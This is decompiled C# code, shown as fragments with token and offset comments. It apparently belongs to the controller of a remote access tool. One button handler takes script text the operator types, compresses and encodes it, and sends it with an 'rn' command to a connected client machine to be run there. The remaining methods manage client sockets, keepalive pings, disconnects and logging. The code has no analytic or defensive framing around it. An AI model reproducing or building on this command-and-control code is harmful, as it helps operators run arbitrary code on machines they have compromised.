// Token: 0x060006F9 RID: 1785 RVA: 0x00039284 File Offset: 0x00037484 private void Button1_Click(object sender, EventArgs e) { string text = Interaction.InputBox("Run As :", "", "vbs", -1, -1); if (text.Length > 0) { this.RunAs = text; this.Code = this.TextBox1.Text; if (this.Code.Length > 0) { Client arg_9D_0 = this.sk; string[] array = new string[5]; array[0] = "rn"; array[1] = ima.Y; array[2] = this.RunAs; array[3] = ima.Y; string[] arg_96_0 = array; int arg_96_1 = 4; byte[] arg_8C_0 = Fungsi.SB(ref this.Code); bool flag = true; arg_96_0[arg_96_1] = Convert.ToBase64String(Fungsi.ZIP(arg_8C_0, ref flag)); arg_9D_0.Send(string.Concat(array)); } this.Close(); } }
// Token: 0x060007DE RID: 2014 RVA: 0x0003E930 File Offset: 0x0003CB30 public bool Send(byte[] b) { checked { bool result; if (!this.CN) { result = false; } else { bool flag; try { Socket client = this.Client.Client; Socket obj = client; lock (obj) { MemoryStream memoryStream = new MemoryStream(); memoryStream.Write(b, 0, b.Length); memoryStream.Write(Fungsi.SB(ref this.SPL), 0, this.SPL.Length); this.Client.Client.Send(memoryStream.ToArray(), 0, (int)memoryStream.Length, SocketFlags.None); ima.SNT = (int)memoryStream.Length; ima.SNT2 += (int)memoryStream.Length; memoryStream.Dispose(); } flag = true; } catch (Exception expr_A7) { ProjectData.SetProjectError(expr_A7); Exception projectError = expr_A7; ProjectData.SetProjectError(projectError); this.CN = false; flag = false; ProjectData.ClearProjectError(); ProjectData.ClearProjectError(); } result = flag; } return(result); } }
// Token: 0x06000930 RID: 2352 RVA: 0x00048534 File Offset: 0x00046734 public static string smethod_0(string s) { return(Fungsi.smethod_1(Fungsi.SB(ref s))); }
// Token: 0x060007DF RID: 2015 RVA: 0x000047E4 File Offset: 0x000029E4 public bool Send(string S) { return(this.Send(Fungsi.SB(ref S))); }
// Token: 0x0600099C RID: 2460 RVA: 0x00053E68 File Offset: 0x00052068 private void WL() { int num = 0; checked { int num2 = this.IT.Length - 1; for (int i = 0; i <= num2; i++) { new Thread(new ParameterizedThreadStart(this._Lambda__2), 0) { Priority = ThreadPriority.Lowest }.Start(i); } Thread thread = new Thread(new ThreadStart(this.pnd)); thread.Start(); while (true) { Collection online = this.Online2; Collection obj = online; lock (obj) { List <Client> disconnect = this.Disconnect2; List <Client> obj2 = disconnect; lock (obj2) { int num3 = 0; do { try { if (disconnect.Count > 0) { Client client = disconnect[0]; disconnect.RemoveAt(0); try { client.Client.Client.Disconnect(false); } catch (Exception expr_BF) { ProjectData.SetProjectError(expr_BF); Exception projectError = expr_BF; ProjectData.SetProjectError(projectError); ProjectData.ClearProjectError(); ProjectData.ClearProjectError(); } try { client.Client.Close(); } catch (Exception expr_E9) { ProjectData.SetProjectError(expr_E9); Exception projectError2 = expr_E9; ProjectData.SetProjectError(projectError2); ProjectData.ClearProjectError(); ProjectData.ClearProjectError(); } this.Online2.Remove(client.ip().ToString()); thread = new Thread(new ParameterizedThreadStart(ima.Req), 1); object[] array = new object[2]; array[0] = client; string text = "!"; array[1] = Fungsi.SB(ref text); thread.Start(array); } } catch (Exception expr_15A) { ProjectData.SetProjectError(expr_15A); Exception projectError3 = expr_15A; ProjectData.SetProjectError(projectError3); ProjectData.ClearProjectError(); ProjectData.ClearProjectError(); } num3++; }while (num3 <= 0); int num4 = this.IT.Length - 1; for (int j = 0; j <= num4; j++) { if (this.IT[j] == null) { if (this.Online2.Count <= 0) { break; } num++; if (num > this.Online2.Count) { num = 1; } Client client = (Client)this.Online2[num]; if (!client.Buzy) { client.Buzy = true; this.IT[j] = client; } } } } } Thread.Sleep(1); } } }
// Token: 0x0600099B RID: 2459 RVA: 0x00053A5C File Offset: 0x00051C5C private void READ(int id) { checked { while (true) { if (this.IT[id] == null) { Thread.Sleep(1); } else { Client client = this.IT[id]; if (!this.OFF && client.CN) { try { if (!client.Client.Connected) { goto IL_396; } if (!client.IsPNGED) { if (client.Ping > 1200) { client.IsPNGED = true; client.Ping = 0; if (!client.Send("P")) { goto IL_396; } } } else if (client.Ping > 3000) { goto IL_396; } if (client.Client.Available > 0) { byte[] array = new byte[client.Client.Available - 1 + 1 - 1 + 1]; client.Client.Client.Receive(array, 0, array.Length, SocketFlags.None); ima.RC = array.Length; ima.RC2 += array.Length; client.M.Write(array, 0, array.Length); while (true) { byte[] array2 = client.M.ToArray(); if (!Fungsi.BS(ref array2).Contains(this.SPL)) { goto IL_2D3; } Array array3 = this.fx(client.M.ToArray()); byte[] array4 = (byte[])NewLateBinding.LateIndexGet(array3, new object[] { 0 }, null); NewLateBinding.LateIndexSetComplex(array3, new object[] { 0, array4 }, null, true, false); if (Operators.CompareString(Fungsi.BS(ref array4), "P", false) == 0) { if (client.L == null) { break; } object[] array5 = new object[2]; array5[0] = client; object[] arg_1C1_0 = array5; int arg_1C1_1 = 1; string text = "P" + ima.Y + Conversions.ToString(client.Ping); arg_1C1_0[arg_1C1_1] = Fungsi.SB(ref text); ima.Req(array5); client.IsPNGED = false; client.Ping = 0; } else { ima.Req(new object[] { client, RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(array3, new object[] { 0 }, null)))) }); } client.M.Dispose(); client.M = new MemoryStream(); if (array3.Length != 2) { goto IL_2D3; } client.M.Write((byte[])NewLateBinding.LateIndexGet(array3, new object[] { 1 }, null), 0, Conversions.ToInteger(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(array3, new object[] { 1 }, null)), null, "length", new object[0], null, null, null)))); } goto IL_396; IL_2D3 :; } } catch (Exception expr_2D5) { ProjectData.SetProjectError(expr_2D5); Exception projectError = expr_2D5; ProjectData.SetProjectError(projectError); ProjectData.ClearProjectError(); ProjectData.ClearProjectError(); goto IL_396; } client.Buzy = false; this.IT[id] = null; continue; } IL_396: client.T.Enabled = false; client.T.Dispose(); client.CN = false; List <Client> disconnect = this.Disconnect2; List <Client> obj = disconnect; lock (obj) { disconnect.Add(client); } this.IT[id] = null; if (ima.F.SLGS3.Checked) { ima.F.Pp1.WRT(new object[] { Color.WhiteSmoke, Fungsi.HM(), Resources._245, client.ip(), Color.Red, "Disconnected " }); } } } } }